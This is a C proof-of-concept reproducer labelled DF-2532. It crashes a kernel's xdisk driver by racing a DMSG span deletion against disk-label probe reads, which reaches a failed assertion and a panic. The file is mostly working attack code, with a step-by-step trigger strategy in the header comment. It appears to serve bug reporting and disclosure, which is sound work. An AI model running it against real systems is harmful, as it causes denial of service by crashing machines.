/*
 * DF-2532 - xdisk xa_start no-spans fail path calls xa_done() with
 * tag->bio still set -> KKASSERT(tag->bio == NULL) panic.
 *
 * Trigger strategy (DMSG race):
 *  1. socketpair + XDISKIOCATTACH to create a kdmsg iocom.
 *  2. Send LNK_SPAN CREATE (peer_type=BLOCK) -> kernel creates xa%d.
 *  3. Respond to the kernel's BLK_OPEN with success.
 *  4. The disk framework starts probing the label, issuing BIO reads
 *     with B_FAILONDIS set (see subr_disklabel64.c etc).
 *  5. Hold the first probe read (do not reply to BLK_READ).
 *  6. Send LNK_SPAN DELETE -> span removed from spanq, spancnt=0.
 *  7. Reply to the held BLK_READ with an error.
 *  8. The disk framework's next probe-format read goes through
 *     xa_strategy -> xa_setup_cmd (tag->bio=bio) -> xa_start:
 *         sc->opencnt>0 but open_tag=NULL (cleaned up when span died)
 *         or sc->opencnt>0 and open_tag set but spanq empty
 *         => TAILQ_FOREACH finds no live span => trans=NULL => goto skip
 *         => msg==NULL, tag->bio!=NULL, B_FAILONDIS set
 *         => "else" branch (xdisk.c:976)
 *         => xa_done(tag,1) WITHOUT clearing tag->bio
 *         => KKASSERT(tag->bio==NULL) in xa_done (xdisk.c:1009)
 *         => KERNEL PANIC (INVARIANTS).
 *
 * Privilege: root is needed for kldload xdisk + ioctl XDISKIOCATTACH
 * (the /dev/xdisk control node is root:wheel 0600).  This is a realistic
 * admin setup; once the xa device exists the panic can be triggered by
 * any disk-label probe after the backing span disappears.
 *
 * Build:  cc -o df2532 df2532.c -Wall
 * Run:    ./df2532   (as root)
 */

#include <sys/param.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/dmsg.h>
#include <sys/xdiskioctl.h>
#include <sys/fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

#define DMSG_REVCIRC_FAILONDIS  0

/* ---- low-level DMSG frame I/O (no CRC verification on rx side) ---- */

static void
hexdump(const char *pfx, const void *buf, int len)
{
    const unsigned char *b = buf;
    int i;
    if (getenv("DF2532_DEBUG") == NULL) return;
    fprintf(stderr, "%s len=%d\n", pfx, len);
    for (i = 0; i < len && i < 128; i++) {
        fprintf(stderr, "%02x", b[i]);
        if ((i & 31) == 31) fprintf(stderr, "\n");
    }
    if (len > 128) fprintf(stderr, " ... (%d more)", len-128);
    fprintf(stderr, "\n");
}

/* Read exactly n bytes (blocking). returns 0 ok, -1 err/eof */
static int
read_n(int fd, void *buf, size_t n)
{
    size_t off = 0;
    while (off < n) {
        ssize_t r = read(fd, (char *)buf + off, n - off);
        if (r <= 0) {
            if (r < 0 && errno == EINTR) continue;
            return -1;
        }
        off += r;
    }
    return 0;
}

/* read one complete DMSG message into a dmsg_any_t (header + extended body).
 * Returns 0 on success, -1 on eof/error.  aux data is discarded. */
static int
recv_dmsg(int fd, dmsg_any_t *out)
{
    dmsg_hdr_t h;
    if (read_n(fd, &h, sizeof(h)) < 0) {
        fprintf(stderr, "recv: eof/error reading header\n");
        return -1;
    }
    if (h.magic != DMSG_HDR_MAGIC) {
        fprintf(stderr, "recv: bad magic %04x\n", h.magic);
        return -1;
    }
    int hbytes = (h.cmd & DMSGF_SIZE) * DMSG_ALIGN;
    if (hbytes < (int)sizeof(h)) {
        fprintf(stderr, "recv: hbytes %d too small\n", hbytes);
        return -1;
    }
    int extra = hbytes - sizeof(h);

    /* Place header at the start of the union, extended data right after */
    if (out) {
        out->head = h;
    }

    if (extra > 0) {
        char buf[2048];
        if (extra > (int)sizeof(buf)) extra = sizeof(buf);
        if (read_n(fd, buf, extra) < 0) {
            fprintf(stderr, "recv: eof reading extended hdr\n");
            return -1;
        }
        if (out) {
            int cap = (int)sizeof(dmsg_any_t) - (int)sizeof(dmsg_hdr_t);
            if (extra > cap) extra = cap;
            memcpy((char *)out + sizeof(dmsg_hdr_t), buf, extra);
        }
    }

    int abytes = h.aux_bytes;
    if (abytes > 0) {
        int aligned = DMSG_DOALIGN(abytes);
        char discard[2048];
        if (aligned > (int)sizeof(discard)) aligned = sizeof(discard);
        if (read_n(fd, discard, aligned) < 0) {
            fprintf(stderr, "recv: eof reading aux\n");
            return -1;
        }
    }

    hexdump("recv hdr", &h, sizeof(h));
    return 0;
}

/* send a complete DMSG message */
static int
send_dmsg_raw(int fd, const void *hdr_buf, int hbytes,
              const void *aux_buf, int aux_bytes)
{
    /* fixup magic + sizes */
    dmsg_hdr_t *h = (dmsg_hdr_t *)hdr_buf;
    h->magic = DMSG_HDR_MAGIC;
    h->aux_bytes = aux_bytes;
    /* sizes are already in cmd; hbytes should match (cmd & DMSGF_SIZE)*DMSG_ALIGN */
    h->hdr_crc = 0;
    h->aux_crc = 0;

    if (write(fd, hdr_buf, hbytes) != hbytes) {
        perror("write hdr");
        return -1;
    }
    if (aux_bytes > 0) {
        int aligned = DMSG_DOALIGN(aux_bytes);
        char pad[64] = {0};
        if (write(fd, aux_buf, aux_bytes) != aux_bytes) return -1;
        int npad = aligned - aux_bytes;
        if (npad > 0 && write(fd, pad, npad) != npad) return -1;
    }
    hexdump("send hdr", hdr_buf, sizeof(dmsg_hdr_t));
    return 0;
}

static void
msleep_ms(int ms)
{
    struct timespec ts = { ms/1000, (ms%1000)*1000000L };
    nanosleep(&ts, NULL);
}

int
main(int argc, char **argv)
{
    int xdisk_fd, peer_fd, xa_fd = -1;
    int socks[2];
    int i;
    dmsg_any_t rcv_any;
    dmsg_hdr_t *rcv;     /* shorthand: &rcv_any.head */
    dmsg_any_t snd;
    uint64_t span_msgid = 0x1001;
    int probe_reads = 0;
    int span_deleted = 0;

    fprintf(stderr, "DF-2532: starting\n");
    rcv = &rcv_any.head;

    /* ---- 1. socketpair + xdisk attach ---- */
    if (socketpair(AF_LOCAL, SOCK_STREAM, 0, socks) < 0) {
        perror("socketpair");
        return 2;
    }
    peer_fd = socks[0];

    xdisk_fd = open("/dev/xdisk", O_RDWR);
    if (xdisk_fd < 0) {
        perror("open /dev/xdisk (need root + kldload xdisk)");
        return 2;
    }

    struct xdisk_attach_ioctl xaioc;
    memset(&xaioc, 0, sizeof(xaioc));
    xaioc.fd = socks[1];
    if (ioctl(xdisk_fd, XDISKIOCATTACH, &xaioc) < 0) {
        perror("ioctl XDISKIOCATTACH");
        return 2;
    }
    fprintf(stderr, "DF-2532: attached iocom on fd=%d\n", socks[1]);
    close(socks[1]);     /* kernel iocom holds a ref; we keep peer_fd */

    /* ---- 2. receive LNK_CONN from kernel (discard) ---- */
    if (recv_dmsg(peer_fd, &rcv_any) < 0) {
        fprintf(stderr, "DF-2532: failed to recv LNK_CONN\n");
        return 2;
    }
    fprintf(stderr, "DF-2532: received LNK_CONN cmd=%08x msgid=%016jx\n",
            rcv->cmd, (uintmax_t)rcv->msgid);

    /* ---- 3. send LNK_SPAN CREATE (creates xa device) ---- */
    memset(&snd, 0, sizeof(snd));
    {
        uint32_t cmd = DMSG_LNK_SPAN | DMSGF_CREATE;
        int hbytes = (cmd & DMSGF_SIZE) * DMSG_ALIGN;
        snd.lnk_span.head.cmd = cmd;
        snd.lnk_span.head.msgid = span_msgid;
        snd.lnk_span.peer_type = DMSG_PEER_BLOCK;   /* match peer_mask */
        snd.lnk_span.pfs_type = 0;
        snd.lnk_span.proto_version = DMSG_SPAN_PROTO_1;
        snd.lnk_span.media.block.bytes = 4 * 1024 * 1024;  /* 4 MB */
        snd.lnk_span.media.block.blksize = 512;
        snprintf(snd.lnk_span.peer_label, sizeof(snd.lnk_span.peer_label),
                 "df2532host/xdisk");
        snprintf(snd.lnk_span.pfs_label, sizeof(snd.lnk_span.pfs_label),
                 "DF2532-SERIAL-1");
        fprintf(stderr, "DF-2532: sending LNK_SPAN CREATE hbytes=%d\n", hbytes);
        if (send_dmsg_raw(peer_fd, &snd, hbytes, NULL, 0) < 0) return 2;
    }

    /* ---- 4. receive LNK_SPAN reply (kernel created xa device) ---- */
    if (recv_dmsg(peer_fd, &rcv_any) < 0) {
        fprintf(stderr, "DF-2532: failed to recv LNK_SPAN reply\n");
        return 2;
    }
    fprintf(stderr, "DF-2532: received LNK_SPAN reply cmd=%08x err=%u\n",
            rcv->cmd, rcv->error);

    /* ---- 4b. Strategy: let the first probe read succeed, then delete span ----
     *
     * The async DISK_DISK_PROBE (queued by disk_setdiskinfo during CREATE)
     * runs in the disk subsystem thread and issues B_FAILONDIS reads:
     *   1. mbrinit reads sector 0 (MBR)
     *   2. For each slice, disklabel32/disklabel64 reads
     *
     * We let the FIRST read (MBR) succeed by responding with zeros.
     * Then we IMMEDIATELY send LNK_SPAN DELETE.  The receive thread
     * processes the DELETE (removes span from spanq) while the disk
     * thread is still processing the MBR data.  When the disk thread
     * issues the NEXT B_FAILONDIS read (disklabel), xa_start finds
     * spanq empty -> goto skip -> B_FAILONDIS -> xa_done(tag,1) with
     * tag->bio still set -> KKASSERT(tag->bio==NULL) -> PANIC.
     */

    /* ---- 4c. fork: child opens /dev/xa0 ---- */
    pid_t child = fork();
    if (child == 0) {
        msleep_ms(50);
        xa_fd = open("/dev/xa0", O_RDWR);
        if (xa_fd < 0) xa_fd = open("/dev/xa0", O_RDONLY);
        fprintf(stderr, "DF-2532-child: open(/dev/xa0) = %d (%s)\n",
                xa_fd, xa_fd < 0 ? strerror(errno) : "ok");
        if (xa_fd >= 0) {
            msleep_ms(30000);
            close(xa_fd);
        }
        _exit(0);
    }
    close(xdisk_fd);

    /* ---- 5. message pump ---- */
    int iterations = 0;

    fprintf(stderr, "DF-2532: waiting for probe reads; will let first succeed "
            "then delete span\n");

    while (iterations < 300) {
        iterations++;
        struct timeval tv = { .tv_sec = 0, .tv_usec = 200*1000 };
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(peer_fd, &fds);
        int sel = select(peer_fd + 1, &fds, NULL, NULL, &tv);
        if (sel <= 0) continue;

        dmsg_any_t body_any;
        memset(&body_any, 0, sizeof(body_any));
        if (recv_dmsg(peer_fd, &body_any) < 0) {
            fprintf(stderr, "DF-2532: peer disconnected (iter %d)\n", iterations);
            break;
        }
        dmsg_hdr_t *bh = &body_any.head;
        uint32_t basecmd = bh->cmd & DMSGF_BASECMDMASK;

        if (basecmd == (DMSG_BLK_READ & DMSGF_BASECMDMASK) ||
            basecmd == (DMSG_BLK_WRITE & DMSGF_BASECMDMASK)) {
            probe_reads++;
            fprintf(stderr, "DF-2532: <<< BLK_READ #%d cmd=%08x msgid=%016jx "
                    "offset=%ju bytes=%u\n",
                    probe_reads, bh->cmd, (uintmax_t)bh->msgid,
                    (uintmax_t)body_any.blk_read.offset,
                    body_any.blk_read.bytes);

            if (probe_reads == 1 && !span_deleted) {
                /* Let first read succeed (respond with success, no aux_data
                 * => xa_bio_completion zero-fills the buffer). */
                memset(&snd, 0, sizeof(snd));
                uint32_t cmd = DMSG_LNK_ERROR | DMSGF_REPLY | DMSGF_DELETE |
                               DMSGF_REVTRANS;
                if (bh->cmd & DMSGF_REVCIRC) cmd |= DMSGF_REVCIRC;
                int hbytes = (cmd & DMSGF_SIZE) * DMSG_ALIGN;
                snd.head.cmd = cmd;
                snd.head.msgid = bh->msgid;
                snd.head.circuit = bh->circuit;
                snd.head.error = 0;  /* SUCCESS */
                fprintf(stderr, "DF-2532: >>> read #1 SUCCESS (zero-fill); "
                        "deleting span NOW\n");
                send_dmsg_raw(peer_fd, &snd, hbytes, NULL, 0);

                /* IMMEDIATELY delete the span */
                memset(&snd, 0, sizeof(snd));
                uint32_t dcmd = DMSG_LNK_SPAN | DMSGF_DELETE;
                int dhbytes = (dcmd & DMSGF_SIZE) * DMSG_ALIGN;
                snd.lnk_span.head.cmd = dcmd;
                snd.lnk_span.head.msgid = span_msgid;
                snd.lnk_span.peer_type = DMSG_PEER_BLOCK;
                snd.lnk_span.proto_version = DMSG_SPAN_PROTO_1;
                snd.lnk_span.media.block.bytes = 4*1024*1024;
                snd.lnk_span.media.block.blksize = 512;
                snprintf(snd.lnk_span.peer_label,
                         sizeof(snd.lnk_span.peer_label), "df2532host/xdisk");
                snprintf(snd.lnk_span.pfs_label,
                         sizeof(snd.lnk_span.pfs_label), "DF2532-SERIAL-1");
                fprintf(stderr, "DF-2532: >>> LNK_SPAN DELETE msgid=%016jx "
                        "(span removal races next probe read)\n",
                        (uintmax_t)span_msgid);
                send_dmsg_raw(peer_fd, &snd, dhbytes, NULL, 0);
                span_deleted = 1;
                fprintf(stderr, "DF-2532: *** if next probe read finds empty "
                        "spanq + B_FAILONDIS -> KKASSERT PANIC ***\n");
            } else {
                /* Subsequent reads: respond with error */
                fprintf(stderr, "DF-2532: <<< read #%d after span deleted — "
                        "xa_start should have KKASSERT'd!\n", probe_reads);
                memset(&snd, 0, sizeof(snd));
                uint32_t cmd = DMSG_LNK_ERROR | DMSGF_REPLY | DMSGF_DELETE |
                               DMSGF_REVTRANS;
                if (bh->cmd & DMSGF_REVCIRC) cmd |= DMSGF_REVCIRC;
                int hbytes = (cmd & DMSGF_SIZE) * DMSG_ALIGN;
                snd.head.cmd = cmd;
                snd.head.msgid = bh->msgid;
                snd.head.circuit = bh->circuit;
                snd.head.error = DMSG_ERR_IO;
                send_dmsg_raw(peer_fd, &snd, hbytes, NULL, 0);
            }
        } else {
            fprintf(stderr, "DF-2532: <<< msg basecmd=%08x cmd=%08x msgid=%016jx\n",
                    basecmd, bh->cmd, (uintmax_t)bh->msgid);
        }
    }

    fprintf(stderr, "DF-2532: pump ended (probe_reads=%d, span_deleted=%d)\n",
            probe_reads, span_deleted);
    if (xa_fd >= 0) close(xa_fd);
    close(peer_fd);
    close(xdisk_fd);
    return 0;
}